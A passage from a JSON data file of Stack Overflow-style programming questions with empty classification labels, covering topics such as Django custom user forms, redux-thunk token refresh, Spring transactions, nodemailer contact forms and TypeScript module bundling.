ODE model. So I use a loop to run randomly initial values and keep the best result which minimizes the objective function. \nThe problem is that if the random initial value is bad, my model can't solve the ODE equation, the result I get is either <strong>NAN</strong> or errors such as <strong>the problem not converged</strong> or <strong>number of time steps 1 exceeded maxsteps at t = 0</strong>. So my questions are:</p>\n\n<ol>\n<li>Is there any way to stop when the initial value is bad and pass to the next initial value in one loop?</li>\n<li>Do you have any advice to choose a best initial value than run randomly?</li>\n</ol>\n\n<p>Thanks a lot</p>\n"},{"Classification":"","Title":"How To Define The Name For A Module With Only Exports In TypeScript","Body":"<p>I'm trying to build a whole slew of TypeScript files into a single file to allow for quick browser loading for browser based TDD. The main index.ts file is located <a href=\"https://github.com/camelCaseDave/xrm-mock/blob/master/src/index.ts\" rel=\"nofollow noreferrer\">here</a> and looks like this</p>\n\n<pre class=\"lang-js prettyprint-override\"><code>export * from \"./xrm-mock/index\";\nexport { XrmMockGenerator } from \"./xrm-mock-generator/index\";\n</code></pre>\n\n<p>Originally there were two separate libraries, xrm-mock and xrm-mock-generator. It quickly was determined that there didn't need to be two, and the two libraries where combined using this file. So far so good.</p>\n\n<p>I was referencing this project from npm, and using <a href=\"https://stealjs.com\" rel=\"nofollow noreferrer\">StealJs</a> to load the files in my unit test using Karma, but it was around 3-6 seconds to load all of the files. Solution? Package all the files into a single file.</p>\n\n<p>I used this build script </p>\n\n<pre><code>tsc --outFile ./build/build.js --module amd\n</code></pre>\n\n<p>to build a single file, but in it, the name of the root module is being defaulted to index:</p>\n\n<pre class=\"lang-js prettyprint-override\"><code>define(\"index\", [\"require\", \"exports\", \"xrm-mock/index\", \"xrm-mock-generator/index\"], function (require, exports, xrmMock, index_1) {\n \"use strict\";\n Object.defineProperty(exports, \"__esModule\", { value: true });\n exports.xrmMock = xrmMock;\n exports.XrmMockGenerator = index_1.XrmMockGenerator;\n});\n</code></pre>\n\n<p>when I want to default it to \"xrm-mock\". </p>\n\n<p>Is there a way to get TypeScript to transpile the name as \"xrm-mock\" instead of index.ts?</p>\n\n<p>If not, what would be the simplest automated method for editing the file (both the \"js\" and \"d.ts\"), post build, replacing the \"index\" with \"xrm-mock\"?</p>\n"},{"Classification":"","Title":"express req body empty in contact form","Body":"<p>I am using nodemailer to achieve myself sending emails from contact form.\nMy app.js looks like this</p>\n\n<pre><code> app.post('/jobs/join-us', (req, res) =&gt; {\n console.log(req.body); //to return body\n const output = `\n\n\n &lt;p&gt;You have a new message from contact form.&lt;/p&gt;\n &lt;h3&gt;Contact Details&lt;/h3&gt;\n &lt;ul&gt; \n &lt;li&gt;Name: ${req.body.name}&lt;/li&gt;\n &lt;li&gt;Email: ${req.body.email}&lt;/li&gt;\n &lt;/ul&gt;\n &lt;h3&gt;Message&lt;/h3&gt;\n &lt;p&gt;${req.body.message}&lt;/p&gt;\n `;\n // create reusable transporter object using the default SMTP transport\n let transporter = nodemailer.createTransport({\n host: 'smtp.gmail.com',\n port: 587,\n secure: false, // true for 465, false for other ports\n auth: {\n user: 'xx', // generated ethereal user\n pass: 'xx',\n },\n tls: {\n rejectUnauthorized: false\n }\n });\n\n // setup email data with unicode symbols\n let mailOptions = {\n from: 'xx', // sender address\n to: 'xx', // list of receivers\n subject: 'Contact Request', // Subject line\n text: 'Hello world?', // plain text body\n html: output // html body\n };\n\n // send mail with defined transport object\n transporter.sendMail(mailOptions, (error, info) =&gt; {\n if (error) {\n console.log(error);\n res.end(\"error\");\n } else {\n console.log('Message sent: %s', info.messageId);\n //console.log('Preview URL: %s', nodemailer.getTestMessageUrl(info));\n res.sendStatus(200);\n }\n });\n});\n</code></pre>\n\n<p>Could anybody help me? I also try something like console.log(req) before const output but that didnt' return me anything viable.</p>\n\n<p>This is my contact form itself, the POST request returns 200.</p>\n\n<pre><code> &lt;div class='input-wrapper'&gt;\n&lt;input class=\"flying-label-input\" type=\"text\" name=\"job_form[role]\" id=\"job_form_role\" /&gt;\n&lt;label class=\"flying-label required\" for=\"job_form_role\"&gt;Role&lt;/label&gt;\n&lt;/div&gt;\n&lt;div class='input-wrapper'&gt;\n&lt;input class=\"flying-label-input\" type=\"text\" name=\"job_form[email]\" id=\"job_form_email\" /&gt;\n&lt;label class=\"flying-label required\" for=\"job_form_email\"&gt;E-mail&lt;/label&gt;\n&lt;/div&gt;\n&lt;div class='input-wrapper'&gt;\n&lt;input class=\"flying-label-input\" type=\"text\" name=\"job_form[phone_number]\" id=\"job_form_phone_number\" /&gt;\n&lt;label class=\"flying-label\" for=\"job_form_phone_number\"&gt;Phone number&lt;/label&gt;\n&lt;/div&gt;\n&lt;div class='input-wrapper'&gt;\n&lt;label class=\"label required\" for=\"job_form_cv\"&gt;CV (PDF)&lt;/label&gt;\n&lt;input type=\"file\" name=\"job_form[cv]\" id=\"job_form_cv\" /&gt;\n&lt;/div&gt;\n\n&lt;div class='input-wrapper-space-top'&gt;\n&lt;input type=\"hidden\" name=\"job_form[referer]\" id=\"job_form_referer\" /&gt;\n&lt;input type=\"submit\" name=\"commit\" value=\"Submit Job Application\" class=\"btn-round btn-primary\" /&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>My app.js middleware functions:'</p>\n\n<pre><code>const express = require('express')\nvar app = express();\nvar path = require('path')\nconst nodemon = require('nodemon')\nconst nodemailer = require('nodemailer');\nconst bodyParser = require('body-parser');\n\n// Static folder\napp.use(express.static('public'))\n\napp.use(bodyParser.urlencoded({\n extended: true\n}));\napp.use(bodyParser.json())\n</code></pre>\n"},{"Classification":"","Title":"Single Jenkins Computer/Node used by more then one Jenkins","Body":"<p>I am curios if it's possible to have one computer/node that would be shared between two jenkins instances?</p>\n\n<p>I know that one can make two same copies of node configurations on Jenkins instances and change workspace, but I am aiming for this scenario.</p>\n\n<p>Jenkins <strong>A</strong> with Node <strong>A</strong><br>\nJenkins <strong>B</strong> with Node <strong>A</strong></p>\n\n<p>Jenkins <strong>A</strong> starts job on Node <strong>A</strong><br>\nJenkins <strong>B</strong> puts Node <strong>A</strong> offline</p>\n\n<p>Jenkins <strong>B</strong> starts job on Node <strong>A</strong><br>\nJenkins <strong>A</strong> puts Node <strong>A</strong> offline</p>\n\n<p>Node <strong>A</strong> can only be used once at a time, and there should not be parallel jobs running no matter of different workspaces.</p>\n\n<p>I know that it can be achieved when you have one jenkins instance, but how to do it if you have to use two of them at least?</p>\n\n<p>NOTE: both Jenkins instances are located on different machines.</p>\n"},{"Classification":"","Title":"Javascript: collapsible text and link to collapsible text","Body":"<p>Initially I have applied this code to create a collapsible text. This works without any issues</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\n<div class=\"snippet-code\">\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code> var coll = document.getElementsByClassName(\"collapsible\");\n var i;\n \n for (i = 0; i &lt; coll.length; i++) {\n coll[i].addEventListener(\"click\", function() {\n this.classList.toggle(\"active\");\n var content = this.nextElementSibling;\n if (content.style.maxHeight){\n content.style.maxHeight = null;\n } else {\n content.style.maxHeight = content.scrollHeight + \"px\";\n } \n });\n }\n </code></pre>\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code> .collapsible {\n background-color: #777;\n color: white;\n cursor: pointer;\n padding: 18px;\n width: 100%;\n border: none;\n text-align: left;\n outline: none;\n font-size: 15px;\n }\n \n .active, .collapsible:hover {\n background-color: #555;\n }\n \n .collapsible:after {\n content: '\\002B';\n color: white;\n font-weight: bold;\n float: right;\n margin-left: 5px;\n }\n \n .active:after {\n content: \"\\2212\";\n }\n \n .content {\n padding: 0 18px;\n max-height: 0;\n overflow: hidden;\n transition: max-height 0.2s ease-out;\n background-color: #f1f1f1;\n }</code></pre>\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code> \n \n &lt;button class=\"collapsible\" id=\"collapsible \"&gt;Unfolds text&lt;/button&gt;\n &lt;div class=\"content\"&gt;\n &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.&lt;/p&gt;\n &lt;/div&gt;\n \n </code></pre>\n</div>\n</div>\n</p>\n\n<p>Lately I have been trying to implement another functionality. By placing a text somewhere else in the same page, and clicking on that text, i would like that the website moves to the collapsible text and unfolds it as well.</p>\n\n<pre><code>&lt;a href=\"#collapsible\"&gt;Link to the collapsible text&lt;/a&gt;\n</code></pre>\n\n<p>Is that possible by using the same javascript as specified inside the script-tag? I tried already with an onclick-function (containing the same if-loop inside the javascript) but that did not work.</p>\n\n<p>Thanks for your ideas and collaborations.</p>\n"},{"Classification":"","Title":"How to consume HTTP Server Sent Events in Ruby?","Body":"<p>I need to connect to an HTTP server and subscribe to a <a href=\"https://www.w3schools.com/html/html5_serversentevents.asp\" rel=\"nofollow noreferrer\">Server Sent Event (SSE)</a> source using Ruby (not Rails).</p>\n\n<p>The only gems I've found that support this are <a href=\"https://github.com/af83/em-eventsource\" rel=\"nofollow noreferrer\">em-eventsource</a> (which is <a href=\"https://github.com/af83/em-eventsource/issues/12\" rel=\"nofollow noreferrer\">horribly broken</a>), and <a href=\"https://github.com/conjurinc/sse-client-ruby\" rel=\"nofollow noreferrer\">sse-client-ruby</a> which seems to be a bare fragment that requires unspecified extra plumbing in order to work.</p>\n\n<p>Is there another Ruby gem that I could use? Or, could someone provide a simple home-grown example of consuming SSE events in Ruby?</p>\n"},{"Classification":"","Title":"Difference between path and value in spring boot Requestmapping","Body":"<p>What is the difference between below two and which on to Use when ?</p>\n\n<pre><code> @GetMapping(path = \"/usr/{userId}\")\n public String findDBUserGetMapping(@PathVariable(\"userId\") String userId) {\n\n return \"Test User\";\n}\n\n @RequestMapping(value = \"/usr/{userId}\", method = RequestMethod.GET)\n public String findDBUserReqMapping(@PathVariable(\"userId\") String userId) {\n\n return \"Test User\";\n}\n</code></pre>\n"},{"Classification":"","Title":"C# 7.3 Enum constraint: Why can't I use the nullable enum?","Body":"<p>Now that we have enum constraint, why doesn't compiler allow me to write this code?</p>\n\n<pre><code>public static TResult? ToEnum&lt;TResult&gt;(this String value, TResult? defaultValue)\n where TResult : Enum\n{\n return String.IsNullOrEmpty(value) ? defaultValue : (TResult?)Enum.Parse(typeof(TResult), value);\n}\n</code></pre>\n\n<p>The compiler says:</p>\n\n<blockquote>\n <p>Error CS0453 The type 'TResult' must be a non-nullable value type in order to use it as parameter 'T' in the generic type or method 'Nullable'</p>\n</blockquote>\n"},{"Classification":"","Title":"JDBC (postgreSQL) sink for flink (scala)","Body":"<p>I have a Flink Job that count the number of element in a stream based on a time window. </p>\n\n<pre><code>val countStream: DataStream[Int] = env\n .addSource(kafkaConsumer)\n .map(_ =&gt; 1)\n .timeWindowAll(Time.minutes(1))\n .reduce((x, y) =&gt; x + y)\n</code></pre>\n\n<p>I would like to write the countStream to a table in postgreSQL.</p>\n\n<p>I think I have to use somthing with JDBC but I only find resources in Java and not Scala.</p>\n\n<p>Any resources or help on how to do that ? Thanks !</p>\n"},{"Classification":"","Title":"Cannot redirect the response to my controller after publishing the project in azure : AuthBot","Body":"<p>I'm trying to create a bot in which the user has to first log in with his microsoft account, for that i created an app in Azure Active Directory that returns to my controller the access tokens (redirect URL). So, a fixed the redirect URL to my controller in this app as : </p>\n\n<pre><code>http://localhost:3984/api/OAuthCallback\n</code></pre>\n\n<p>And it works just fine locally, i get locally the response from the AAD App to my controller. However after publishing my project in azure this doesn't work because the project is no longer in localhost and the redirection response to my controller does no longer work.</p>\n\n<p>Can someone help me please ? WHat redirect URL can i add to my AAD app in order to redirect the response to my controller in Azure ? </p>\n\n<p>This is the AuthBot that i'm talking about : </p>\n\n<p><a href=\"https://github.com/Ellerbach/SharePointBot/tree/master/AuthBot\" rel=\"nofollow noreferrer\">https://github.com/Ellerbach/SharePointBot/tree/master/AuthBot</a></p>\n"},{"Classification":"","Title":"Is disposing SXSSFWorkbook necessary when used in try with resource","Body":"<p>Below is the sample code snippet to create <code>SXSSFWorkbook</code>:</p>\n\n<pre><code>try(SXSSFWorkbook wb = new SXSSFWorkbook()) {\n //...\n} finally {\n wb.dispose(); //wb not accessible over here, so can't use try with resource\n}\n</code></pre>\n\n<p>Here problem is that if I use try with resource then can't <code>dispose()</code> <code>SXSSFWorkbook</code> in finally, as variable <code>wb</code> won't be accessible in finally block. </p>\n\n<p>I wanted know that is disposing of workbook necessary to delete temporary files or since <code>SXSSFWorkbook</code> is <code>AutoCloseable</code>, try with resource will take care of it.</p>\n"},{"Classification":"","Title":"The folder name does not remain selected when try to add/edit folder in ext.tree.panel","Body":"<p>When I try to add/edit a folder in ext.tree.panel it is added/edited successfully but the folder name does not remain highlighted.<a href=\"https://i.stack.imgur.com/FL20Y.png\" rel=\"nofollow noreferrer\">enter image description here</a></p>\n\n<p>I need to do like this <a href=\"https://i.stack.imgur.com/nmBlD.png\" rel=\"nofollow noreferrer\">enter image description here</a></p>\n"},{"Classification":"","Title":"Removing specific dictionary values inside a loop","Body":"<p>I'm trying to make a context-free grammar simplification software.\nI'm stuck when it comes to delete some specific items from the dictionary's values or even the key value pair.</p>\n\n<p>The problem is that it doesn't follow a pattern.</p>\n\n<ul>\n<li><p>If the element belongs to V1, I need to keep it in dictionary.\n(V1 is the list of all values who derivates a terminal, those guys are the only ones I need to keep on my dictionary, but it's not that simple)</p></li>\n<li><p>If the element doesn't belongs to V1 and dictionary's values is a string, I need to remove the element.</p></li>\n<li><p>If the element doesn't belongs to V1 and dictionary's values is a list, I need to check if it's the single element of that list, if so, delete Value.</p></li>\n</ul>\n\n<p>The failed loop is down here.\nI printed the parts that I can't figure out the logic in modifying the dictionary.</p>\n\n<pre><code>counter = 0\nfor k,v in derivations.items():\n derivationsCount = len(v)\n\n while counter &lt; derivationsCount:\n if lista_ou_string(v[counter]): # returns True for lists, False for else\n sizeOfList = len(v[counter])\n counter2 = 0\n\n while counter2 &lt;= (sizeOfList - 1):\n if v[counter][counter2] not in V1:\n if derivationsCount == 1:\n print(\"# NEED TO DELETE BOTH KEY AND VALUE FROM derivatios.items()\")\n else:\n print(\"# NEED TO DELETE ONLY THE VALUE FROM derivations.items()\")\n counter2 += 1\n\n else: # strings \\/\n if v[counter] not in V1:\n if derivationsCount == 1:\n print(\"# NEED TO DELETE BOTH KEY AND VALUE FROM derivatios.items()\")\n else:\n print(\"# NEED TO DELETE ONLY THE VALUE FROM derivations.items()\")\n else:\n print(\"# DO NOT DELETE ANYTHING! ALL LISTS ELEMENTS BELONGS TO 'V1'\")\n counter += 1\n</code></pre>\n"},{"Classification":"","Title":"SQL Database Diagram - SQL Server 2014?","Body":"<p>I typically make a Visio database model diagram, doing a reverse engineer feature. My issue now is that I have Visio 2010, but I need a model for a database on a 2014 server. It seems the Visio driver in 2010 is not compatible for SQL Server 2014 database connections. </p>\n\n<p>I tried the generic ODBC connection, but it doesn't show all the fields in each of the tables. </p>\n\n<p>I researched this, and it seems they discontinued reverse engineering SQL databases into models in Visio, after 2013. I made a SQL diagram, but it's a horrible interface, and I can't get a good visualization of the flow of data, like I can with Visio. </p>\n\n<p>Anyone have any ideas for how I can get a good data model of this database, being that it's on a 2014 server?</p>\n\n<p>Thanks!</p>\n"},{"Classification":"","Title":"Display something else than username in Cognito Built-In Sign-In Page","Body":"<p>In AWS Cognito, <code>username</code> is unique and cannot be changed, that's why I'm using it with an internal auto-generated ID. Most of Cognito API requests like <a href=\"https://docs.aws.amazon.com/AWSJavaScriptSDK/latest/AWS/CognitoIdentityServiceProvider.html#adminGetUser-property\" rel=\"nofollow noreferrer\"><code>adminGetUser</code></a> only uses <code>username</code> as the user identifier.</p>\n\n<p>And this is <a href=\"https://docs.aws.amazon.com/cognito/latest/developerguide/user-pool-settings-attributes.html\" rel=\"nofollow noreferrer\">recommended by AWS</a>:</p>\n\n<blockquote>\n <p>If your application does not require a username, you do not need to ask users to provide one. <strong>Your app can create a unique username for users in the background.</strong> This is useful if, for example, you want users to register and sign in with an email address and password.</p>\n</blockquote>\n\n<p>Everything is working nicely, but I've got problems with the Cognito Built-in Sign-in page:</p>\n\n<p><a href=\"https://i.stack.imgur.com/2i7V1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2i7V1.png\" alt=\"Gognito Sign-In\"></a></p>\n\n<p>This page is intended to be viewed by the end user, and it is displaying <code>username</code>, which I'm using as an internal ID 🤔 </p>\n\n<p>The Built-in Sign-in page <a href=\"https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-user-pools-app-ui-customization.html\" rel=\"nofollow noreferrer\">can be customized but only CSS and logo</a>, I cannot see any option to display <code>preferred_username</code> or <code>email</code> instead of <code>username</code>.</p>\n\n<p>Is there a way? A workaround for my use case? Am I using Cognito the wrong way?</p>\n"},{"Classification":"","Title":"How can i pass custom object to form using Django","Body":"<p>I am new to django, I created my custom user(auth_user) model. I need to create student registration form using custom user model according to my custom object </p>\n\n<p>I have two models Title, User like this:</p>\n\n<pre><code>from django.db import models\n#from django.contrib.auth.models import User\nfrom django.contrib.auth import get_user_model\nfrom django.db.models.signals import post_save\nfrom django.contrib.auth.models import AbstractUser\n\nclass Title(models.Model):\nvalue = models.CharField(max_length=100, null=True, blank=True)\n\ndef __str__(self):\n return self.value\n\nclass Meta:\n db_table = 'title'\n\nclass User(AbstractUser):\ntitle = models.ForeignKey(Title, on_delete=models.CASCADE, null=True, blank=True)\nclass Meta:\n db_table = 'user'\n</code></pre>\n\n<p>settings.py:</p>\n\n<pre><code>AUTH_USER_MODEL = 'student.User'\n</code></pre>\n\n<p>Here i have ForeignKey title field and User default fields first_name, last_name, email,password</p>\n\n<p>My forms.py:</p>\n\n<pre><code>from django import forms\nfrom django.contrib.auth.models import User\nfrom django.forms import ModelForm\nfrom django.core import validators\nfrom student.models import User\nfrom student.models import Title\n\nclass StudentRegistrationForm(forms.Form):\nfilenumber = forms.CharField(label='Filenumber', max_length=45)\n\nclass StudentNewRegistrationForm(forms.ModelForm):\n\ntitle = forms.CharField(required=True)\nusername = forms.CharField(required=True)\nfirst_name = forms.CharField(required=True)\nlast_name = forms.CharField(required=True)\nemail = forms.EmailField(required=True)\npassword1 = forms.CharField(required=True)\npassword2 = forms.CharField(required=True)\n\n\ndef __init__(self, *args, **kwargs):\n super(StudentNewRegistrationForm, self).__init__(*args, **kwargs)\n self.fields['title'] = forms.ModelChoiceField(queryset=Title.objects.all(), empty_label='Choose a title',required=False)\n\nclass Meta:\n model = User\n fields = ['title','username', 'first_name', 'last_name','email' 'password1', 'password2']\n\ndef save(self, commit=True):\n user = super(StudentNewRegistrationForm, self).save(commit=False)\n user.username = self.cleaned_data['username']\n user.first_name = self.cleaned_data['first_name']\n user.last_name = self.cleaned_data['last_name']\n user.email = self.cleaned_data['email']\n user.title = self.cleaned_data['title']\n user.password1 = user.set_password(self.cleaned_data['password1'])\n user.password2 = user.set_password(self.cleaned_data['password2'])\n\n if commit:\n user.save()\n return user\n</code></pre>\n\n<p>Here i have api response like below:</p>\n\n<pre><code>{\"candidate\":{\"firstname\":\"Testuser\",\"lastname\":\"test\",\"salutation\":10000,\"email\":\"testing@gmail.com\",\"username\":\"test\"}}\n</code></pre>\n\n<p>This response coming form studentregistrationview:</p>\n\n<pre><code>from django.shortcuts import render, redirect\nfrom django.urls import reverse\nfrom student.forms import RegistrationForm\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth import update_session_auth_hash\nfrom django.contrib.auth.decorators import login_required\nfrom .forms import StudentRegistrationForm, StudentNewRegistrationForm\nimport requests\nfrom django.http import JsonResponse\nfrom django.http import HttpResponse\n#from django.contrib.auth import get_user_model\nfrom student.models import User\nfrom student.models import Title\nimport json\nimport urllib\nfrom django.conf import settings\nfrom django.contrib import messages\n\ndef studentregistration(request):\nform = StudentRegistrationForm()\nif request.method == 'POST':\n form = StudentRegistrationForm(request.POST)\n if form.is_valid():\n data = form.cleaned_data\n inputdata = data.get('filenumber')\n url = 'https://myapiurl/' + inputdata\n result = requests.get(url)\n finalresult = result.json()\n studentapires = {'studentres': finalresult}\n request.session['studentapires'] = studentapires\n return redirect('/student/studentnewregistration')\n\nelse:\n form = StudentRegistrationForm()\nreturn render(request, 'student/studentregister.html', {'form': form})\n</code></pre>\n\n<p>I am creating new user object like below and i tried to persist object, here issue object is not persisting to user table</p>\n\n<p>student_new_registration view i tried to create new User object like below</p>\n\n<p>student_new_registration.py:</p>\n\n<pre><code>def student_new_registration(request):\nstudentapires = request.session.get('studentapires', None)\njsonresult = studentapires['studentres']['candidate']\nuser = User()\n\nif jsonresult['salutation'] == 100000000:\n salutation = 'Mister'\nelif jsonresult['salutation'] == 100000002:\n salutation = 'Madam'\n\ntitle = Title.objects.get(value=salutation)\nuser.title = title\nuser.first_name = jsonresult['firstname']\nuser.last_name = jsonresult['lastname']\nuser.email = jsonresult['email']\nuser.username = jsonresult['username']\n\nif request.method == 'POST':\n form = StudentNewRegistrationForm(request.POST, instance=user)\n if form.is_valid():\n form.save()\n return HttpResponse(\"Registration Completed\")\n return HttpResponse(\"Please Check Your Registration Form\")\n\nelse:\n form = StudentNewRegistrationForm(instance=user)\n args = {'form': form}\n return render(request, 'student/studentnewregistrationform.html', args)\n</code></pre>\n\n<p>Error:</p>\n\n<pre><code>full_clean() missing 1 required positional argument: 'self', form is not submitting (means form not going inside form.is_valid())\n</code></pre>\n\n<p>studentnewregistrationform.html:</p>\n\n<pre><code>{% extends 'base.html' %}\n\n{% block head %}\n&lt;title&gt;Student Profile Form&lt;/title&gt;\n{% endblock %}\n\n{% block body %}\n&lt;div class=\"container\"&gt;\n&lt;form method=\"post\"&gt;\n {% csrf_token %}\n &lt;div class=\"row\"&gt;\n &lt;div class=\"col-sm-4\"&gt;\n &lt;h3&gt; Student&amp;nbsp;Profile&amp;nbsp;Form&lt;/h3&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;br&gt;\n\n &lt;div class=\"row\"&gt;\n &lt;div class=\"col-sm-2\"&gt;{{ form.title.label }}&lt;/div&gt;\n &lt;div class=\"col-sm-3\"&gt;{{ form.title }}&lt;/div&gt;\n &lt;div class=\"col-sm-4\"&gt;{{ form.title.errors }}&lt;/div&gt;\n &lt;/div&gt;\n &lt;br&gt;\n &lt;div class=\"row\"&gt;\n &lt;div class=\"col-sm-2\"&gt;{{ form.first_name.label }}&lt;/div&gt;\n &lt;div class=\"col-sm-3\"&gt;{{ form.first_name }}&lt;/div&gt;\n &lt;div class=\"col-sm-4\"&gt;{{ form.first_name.errors }}&lt;/div&gt;\n &lt;/div&gt;\n &lt;br&gt;\n &lt;div class=\"row\"&gt;\n &lt;div class=\"col-sm-2\"&gt;{{ form.last_name.label }}&lt;/div&gt;\n &lt;div class=\"col-sm-3\"&gt;{{ form.last_name }}&lt;/div&gt;\n &lt;div class=\"col-sm-4\"&gt;{{ form.last_name.errors }}&lt;/div&gt;\n &lt;/div&gt;\n &lt;br&gt;\n &lt;div class=\"row\"&gt;\n &lt;div class=\"col-sm-2\"&gt;{{ form.email.label }}&lt;/div&gt;\n &lt;div class=\"col-sm-3\"&gt;{{ form.email }}&lt;/div&gt;\n &lt;div class=\"col-sm-4\"&gt;{{ form.email.errors }}&lt;/div&gt;\n &lt;/div&gt;\n &lt;br&gt;\n &lt;br&gt;\n &lt;div class=\"row\"&gt;\n &lt;div class=\"col-sm-2\"&gt;{{ form.username.label }}&lt;/div&gt;\n &lt;div class=\"col-sm-3\"&gt;{{ form.username }}&lt;/div&gt;\n &lt;div class=\"col-sm-4\"&gt;{{ form.username.errors }}&lt;/div&gt;\n &lt;/div&gt;\n &lt;br&gt;\n &lt;div class=\"row\"&gt;\n &lt;div class=\"col-sm-2\"&gt;&lt;label for=\"{{ form.password1.label }}\"&gt;Password&lt;/label&gt;&lt;/div&gt;\n &lt;div class=\"col-sm-3\"&gt;{{ form.password1 }}&lt;/div&gt;\n &lt;div class=\"col-sm-4\"&gt;{{ form.password1.errors }}&lt;/div&gt;\n &lt;/div&gt;\n &lt;br&gt;\n &lt;div class=\"row\"&gt;\n &lt;div class=\"col-sm-2\"&gt;&lt;label for=\"{{ form.password2.id_for_label }}\"&gt;ConfirmPassword&lt;/label&gt;&lt;/div&gt;\n &lt;div class=\"col-sm-3\"&gt;{{ form.password2 }}&lt;/div&gt;\n &lt;div class=\"col-sm-4\"&gt;{{ form.password2.errors }}&lt;/div&gt;\n &lt;/div&gt;\n &lt;br&gt;&lt;br&gt;\n &lt;div class=\"row\"&gt;\n &lt;div class=\"col-sm-2 col-sm-offset-2\"&gt; &lt;input type=\"submit\" name=\"submit\" value=\"Submit\" class=\"btn btn-primary\"/&gt;&lt;/div&gt;\n &lt;div class=\"col-sm-2\"&gt;&lt;/div&gt;\n &lt;/div&gt;\n&lt;/form&gt;\n&lt;/div&gt;\n{% endblock %}\n</code></pre>\n\n<p>here issue is i am able to render all fields to registration form but i am not able to persist data and while persisting custom object i am getting this error</p>\n\n<pre><code>Manager isn't available; 'auth.User' has been swapped for 'student.User'\n</code></pre>\n\n<p>please help me any one, Thanks in advance...</p>\n"},{"Classification":"","Title":"How to change the default search field of a model in Odoo 10?","Body":"<p>I'm trying to modify the default search engine of the existing model <code>mail.message</code>.</p>\n\n<p>If you look for the word <em>Hello</em>, the search returns you all the messages whose <code>record_name</code> field contains <em>Hello</em>. But I need that it returns all the messages whose <code>body</code> contains <em>Hello</em>.</p>\n\n<p><code>mail.thread</code> model has a One2many field pointing to <code>mail.message</code>, and a lot of models inherit from <code>mail.thread</code>. For example, <code>sale.order</code>. Therefore, in the search view of <code>sale.order</code> you can do an advanced search and look for <code>Messages</code>. But as I wrote above, it's returning you the messages whose \"<em>title</em>\" (field <code>record_name</code>) contains the word you have wrote in the search textbox.</p>\n\n<p>To change that, I did this:</p>\n\n<pre><code>@api.model\ndef _name_search(self, name='', args=None, operator='ilike', limit=100, name_get_uid=None):\n result = super(MailMessage, self)._name_search(\n name=name, args=args, operator=operator, limit=limit,\n name_get_uid=name_get_uid\n )\n mms = self.env['mail.message'].search([]).filtered(\n lambda r: name in r.body\n )\n l = [(r.id, r.record_name) for r in mms]\n return l\n</code></pre>\n\n<p>So far it's working OK, but I don't trust it's working OK in all cases, and I'm pretty sure that there must be a much better way to manage it.</p>\n\n<p>Any ideas?</p>\n"},{"Classification":"","Title":"Catch errors using redux-thunk","Body":"<p>I'm using redux-thunk to make API calls in my React app. </p>\n\n<p>Every 30 minutes, the user's bearer token expires, and instead of forcing them to login again I call <code>auth/refresh</code>. This is a pain, because I need to check for <code>401 error</code> every time a call is made. Is there a way using redux/redux-thunk to check for this error in one place, rather than in every call?</p>\n\n<p>I have the added problem that if multiple calls happen, the same refresh is called every time, so I end up refreshing the bearer token multiple times!</p>\n\n<p>My action for refreshing the auth token:</p>\n\n<pre><code>export const refreshAuth = () =&gt; {\n return (dispatch, getState) =&gt; {\n return axios.post(API.path + 'auth/refresh/?' + API.beaconAPI_client, { 'refreshToken': getState().login.refreshToken })\n .then(response =&gt; {\n dispatch({\n type: DO_LOGIN_REFRESH,\n userDetails: response.data\n })\n })\n}\n</code></pre>\n\n<p>}</p>\n\n<p>Using Axios, if an error occurs I do this:</p>\n\n<pre><code>.catch(error =&gt; {\n if(error.response.status === 401){\n this.props.refreshAuth()\n .then(response =&gt; {\n /* In the response, make the request again after auth is refreshed */\n })\n }\n})\n</code></pre>\n"},{"Classification":"","Title":"Confusion about using YouTube Data API from the server or the client","Body":"<p>I am building a website which uses the YouTube Data API. I am new to using such APIs.</p>\n\n<p>My need:-</p>\n\n<p>I need to receive videos and show its thumbnails.</p>\n\n<p>My problem:-</p>\n\n<p>If I use JavaScript to receive videos (I mean, from the client side), then my API KEY will be exposed.</p>\n\n<p>My solution:-</p>\n\n<p>I will use my server for such requests (to the YouTube Data API) and my client side will receive the YouTube Data API response through AJAX to my server.</p>\n\n<p>So, my solution worth the problem?</p>\n"},{"Classification":"","Title":"Where are obj files for ndk-stack in androidTest packages","Body":"<p>I'm implementing a few instrumented tests for a module (which is packaged in a <code>aar</code> archive, not <code>apk</code>) library I'm working on. The module is written partially in Java and partially in C.</p>\n\n<p>Sadly a crash is occurring while running my tests and executing native code; I want to symbolicate the crash dump with <code>ndk-stack</code> in order to see the actual culprit and investigate my problem.</p>\n\n<p>I know that those files should be in the object directory <strong>obj/</strong>, right inside the project directory, specifically:</p>\n\n<pre><code>$PROJECT_PATH/obj/local/&lt;ABI&gt;\n</code></pre>\n\n<p>The problem is that they simply aren't there. Where are they? How can I let the <em>androidTest</em> related tasks generate them or showing me where they are? What am I missing?</p>\n\n<p>The project structure is the following:</p>\n\n<pre><code>MyProject\n |_ :app (a single button application which integrates the library)\n |_ :myLibrary (the actual library I'm working on and testing)\n |_ java\n | |_ my.package.name\n | |_ my.package.name (androidTest) &lt;- a test here crashes\n | |_ my.package.name (test)\n |_ cpp\n |_ my native files\n</code></pre>\n"},{"Classification":"","Title":"Spring transactions behaviour","Body":"<p>It seems that when a transactional spring method with propagation of NESTED calls another transactional method with propagation REQUIRED, the inner transaction can force the rollback of the outer logical transaction. Anyone can confirm?</p>\n\n<p>I would like to handle RuntimeException and not rollback the outer transaction, example:</p>\n\n<pre><code>@Transactional\nclass A {\n\n @Autowired\n B b;\n\n @Autowired\n C c;\n\n void methodA() { // outer transaction, this should not be rollback but currently getting UnexpectedRollbackException\n b.methodB(() -&gt; c.methodC());\n }\n}\n\n@Transactional(propagation = Propagation.NESTED)\nclass B {\n\n void methodB(Runnable action) { // inner nested transaction\n try{\n action.run();\n } catch (Exception e){\n // nothing\n }\n }\n}\n\n@Transactional\nclass C {\n void methodC() { // inner required transaction\n throw new RuntimeException();\n 